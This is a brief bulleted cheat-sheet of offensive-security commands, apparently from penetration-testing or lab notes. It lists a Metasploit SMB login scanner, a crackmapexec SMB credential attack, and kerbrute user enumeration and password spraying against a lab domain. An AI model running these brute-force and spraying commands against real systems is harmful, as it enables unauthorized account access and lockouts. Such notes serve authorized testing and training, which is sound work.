• Metasploit (auxiliary/scanner/smb/smb_login)
• crackmapexec smb <target(s)> -u username.txt -p Password.txt
• kerbrute
  • ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
  • /kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123